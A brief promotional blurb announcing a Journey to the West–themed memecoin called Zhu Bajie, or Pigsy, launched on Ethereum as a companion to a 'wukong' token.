ZHU BAJIE, Loyal companion of WuKong
Crypto has entered the Age of the Monkey King and now comes wukong's most loyal companion and friend. 
In all the iterations of the journey to the west, there is one character that has been just as prominent as wukong himself - Zhu Bajie, the half-pig, 
half-man warrior also known as Pigsy. And now, he has arrived on Ethereum to ensure that the era of wukong will continue!
